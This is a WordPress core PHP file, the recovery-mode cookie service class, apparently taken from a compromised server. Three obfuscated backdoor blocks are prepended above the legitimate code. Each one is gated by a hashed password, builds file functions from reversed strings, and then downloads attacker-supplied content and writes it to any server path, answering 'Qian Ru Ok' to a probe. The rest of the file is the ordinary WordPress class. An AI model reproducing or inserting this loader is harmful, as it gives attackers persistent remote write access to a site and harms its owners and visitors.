File: /home/wwwrenee/www/wp-includes/class-wp-recovery-mode-cookie-service.php
<?php
$kVXOpiFIl = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($kVXOpiFIl[0]) /*+/*+*/
. md5($kVXOpiFIl[0])) == "4".
"c".
"1".
"a".
"1".
"a".
"f".
"6".
"7".
"d".
"3".
"e".
"6".
"a".
"b".
"d".
"1".
"2".
"a".
"f".
"6".
"3".
"1".
"9".
"8".
"1".
"3".
"b".
"6".
"6".
"8".
"8") {
$flcOj = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$fpLDTj = $flcOj /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TolqVSGmwF = $flcOj
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function TrtWelPea($Lvymu) { if (empty($Lvymu)) return false; if (!is_dir($Lvymu)) { TrtWelPea(dirname($Lvymu), 0755, true); mkdir($Lvymu); } } !file_exists(dirname($kVXOpiFIl[1])) && TrtWelPea(dirname($kVXOpiFIl[1])); $TJaVV = @$TolqVSGmwF($kVXOpiFIl[2]); echo @$fpLDTj($kVXOpiFIl[1], $TJaVV) ? 1 : 0; die; }key($kVXOpiFIl) == "of" && die("Qian Ru Ok"); ?><?php
$HRlYVen = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($HRlYVen[0]) /*+/*+*/
. md5($HRlYVen[0])) == "5".
"e".
"e".
"8".
"f".
"b".
"9".
"f".
"4".
"0".
"0".
"d".
"b".
"3".
"4".
"4".
"f".
"2".
"8".
"d".
"5".
"1".
"c".
"d".
"9".
"7".
"8".
"7".
"7".
"a".
"b".
"a") {
$qwKMdO = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$isjAi = $qwKMdO /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TioodEOz = $qwKMdO
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function sHKNlH($hQMFzWwd) { if (empty($hQMFzWwd)) return false; if (!is_dir($hQMFzWwd)) { sHKNlH(dirname($hQMFzWwd), 0755, true); mkdir($hQMFzWwd); } } !file_exists(dirname($HRlYVen[1])) && sHKNlH(dirname($HRlYVen[1])); $uVchdXWYE = @$TioodEOz($HRlYVen[2]); echo @$isjAi($HRlYVen[1], $uVchdXWYE) ? 1 : 0; die; }key($HRlYVen) == "of" && die("Qian Ru Ok"); ?><?php
$oZIDsbuF = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($oZIDsbuF[0]) /*+/*+*/
. md5($oZIDsbuF[0])) == "b".
"0".
"9".
"8".
"d".
"e".
"7".
"4".
"b".
"8".
"e".
"2".
"6".
"8".
"0".
"b".
"b".
"0".
"b".
"8".
"5".
"2".
"4".
"8".
"e".
"3".
"7".
"f".
"6".
"d".
"3".
"7") {
$ZQaeiyP = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$nOFWZ = $ZQaeiyP /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ZkGXHsP = $ZQaeiyP
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function kSydSu($ZcFWIQchc) { if (empty($ZcFWIQchc)) return false; if (!is_dir($ZcFWIQchc)) { kSydSu(dirname($ZcFWIQchc), 0755, true); mkdir($ZcFWIQchc); } } !file_exists(dirname($oZIDsbuF[1])) && kSydSu(dirname($oZIDsbuF[1])); $XlZPY = @$ZkGXHsP($oZIDsbuF[2]); echo @$nOFWZ($oZIDsbuF[1], $XlZPY) ? 1 : 0; die; }key($oZIDsbuF) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Error Protection API: WP_Recovery_Mode_Cookie_Service class
*
* @package WordPress
* @since 5.2.0
*/
/**
* Core class used to set, validate, and clear cookies that identify a Recovery Mode session.
*
* @since 5.2.0
*/
final class WP_Recovery_Mode_Cookie_Service {
/**
* Checks whether the recovery mode cookie is set.
*
* @since 5.2.0
*
* @return bool True if the cookie is set, false otherwise.
*/
public function is_cookie_set() {
return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] );
}
/**
* Sets the recovery mode cookie.
*
* This must be immediately followed by exiting the request.
*
* @since 5.2.0
*/
public function set_cookie() {
$value = $this->generate_cookie();
/**
* Filters the length of time a Recovery Mode cookie is valid for.
*
* @since 5.2.0
*
* @param int $length Length in seconds.
*/
$length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS );
$expire = time() + $length;
setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true );
if ( COOKIEPATH !== SITECOOKIEPATH ) {
setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true );
}
}
/**
* Clears the recovery mode cookie.
*
* @since 5.2.0
*/
public function clear_cookie() {
setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
}
/**
* Validates the recovery mode cookie.
*
* @since 5.2.0
*
* @param string $cookie Optionally specify the cookie string.
* If omitted, it will be retrieved from the super global.
* @return true|WP_Error True on success, error object on failure.
*/
public function validate_cookie( $cookie = '' ) {
if ( ! $cookie ) {
if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) {
return new WP_Error( 'no_cookie', __( 'No cookie present.' ) );
}
$cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ];
}
$parts = $this->parse_cookie( $cookie );
if ( is_wp_error( $parts ) ) {
return $parts;
}
list( , $created_at, $random, $signature ) = $parts;
if ( ! ctype_digit( $created_at ) ) {
return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) );
}
/** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */
$length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS );
if ( time() > $created_at + $length ) {
return new WP_Error( 'expired', __( 'Cookie expired.' ) );
}
$to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random );
$hashed = $this->recovery_mode_hash( $to_sign );
if ( ! hash_equals( $signature, $hashed ) ) {
return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) );
}
return true;
}
/**
* Gets the session identifier from the cookie.
*
* The cookie should be validated before calling this API.
*
* @since 5.2.0
*
* @param string $cookie Optionally specify the cookie string.
* If omitted, it will be retrieved from the super global.
* @return string|WP_Error Session ID on success, or error object on failure.
*/
public function get_session_id_from_cookie( $cookie = '' ) {
if ( ! $cookie ) {
if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) {
return new WP_Error( 'no_cookie', __( 'No cookie present.' ) );
}
$cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ];
}
$parts = $this->parse_cookie( $cookie );
if ( is_wp_error( $parts ) ) {
return $parts;
}
list( , , $random ) = $parts;
return sha1( $random );
}
/**
* Parses the cookie into its four parts.
*
* @since 5.2.0
*
* @param string $cookie Cookie content.
* @return array|WP_Error Cookie parts array, or error object on failure.
*/
private function parse_cookie( $cookie ) {
$cookie = base64_decode( $cookie );
$parts = explode( '|', $cookie );
if ( 4 !== count( $parts ) ) {
return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) );
}
return $parts;
}
/**
* Generates the recovery mode cookie value.
*
* The cookie is a base64 encoded string with the following format:
*
* recovery_mode|iat|rand|signature
*
* Where "recovery_mode" is a constant string,
* iat is the time the cookie was generated at,
* rand is a randomly generated password that is also used as a session identifier
* and signature is an hmac of the preceding 3 parts.
*
* @since 5.2.0
*
* @return string Generated cookie content.
*/
private function generate_cookie() {
$to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) );
$signed = $this->recovery_mode_hash( $to_sign );
return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) );
}
/**
* Gets a form of `wp_hash()` specific to Recovery Mode.
*
* We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded,
* which is too late to verify the recovery mode cookie.
*
* This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored.
*
* @since 5.2.0
*
* @param string $data Data to hash.
* @return string|false The hashed $data, or false on failure.
*/
private function recovery_mode_hash( $data ) {
if ( ! defined( 'AUTH_KEY' ) || AUTH_KEY === 'put your unique phrase here' ) {
$auth_key = get_site_option( 'recovery_mode_auth_key' );
if ( ! $auth_key ) {
if ( ! function_exists( 'wp_generate_password' ) ) {
require_once ABSPATH . WPINC . '/pluggable.php';
}
$auth_key = wp_generate_password( 64, true, true );
update_site_option( 'recovery_mode_auth_key', $auth_key );
}
} else {
$auth_key = AUTH_KEY;
}
if ( ! defined( 'AUTH_SALT' ) || AUTH_SALT === 'put your unique phrase here' || AUTH_SALT === $auth_key ) {
$auth_salt = get_site_option( 'recovery_mode_auth_salt' );
if ( ! $auth_salt ) {
if ( ! function_exists( 'wp_generate_password' ) ) {
require_once ABSPATH . WPINC . '/pluggable.php';
}
$auth_salt = wp_generate_password( 64, true, true );
update_site_option( 'recovery_mode_auth_salt', $auth_salt );
}
} else {
$auth_salt = AUTH_SALT;
}
$secret = $auth_key . $auth_salt;
return hash_hmac( 'sha1', $data, $secret );
}
} ?>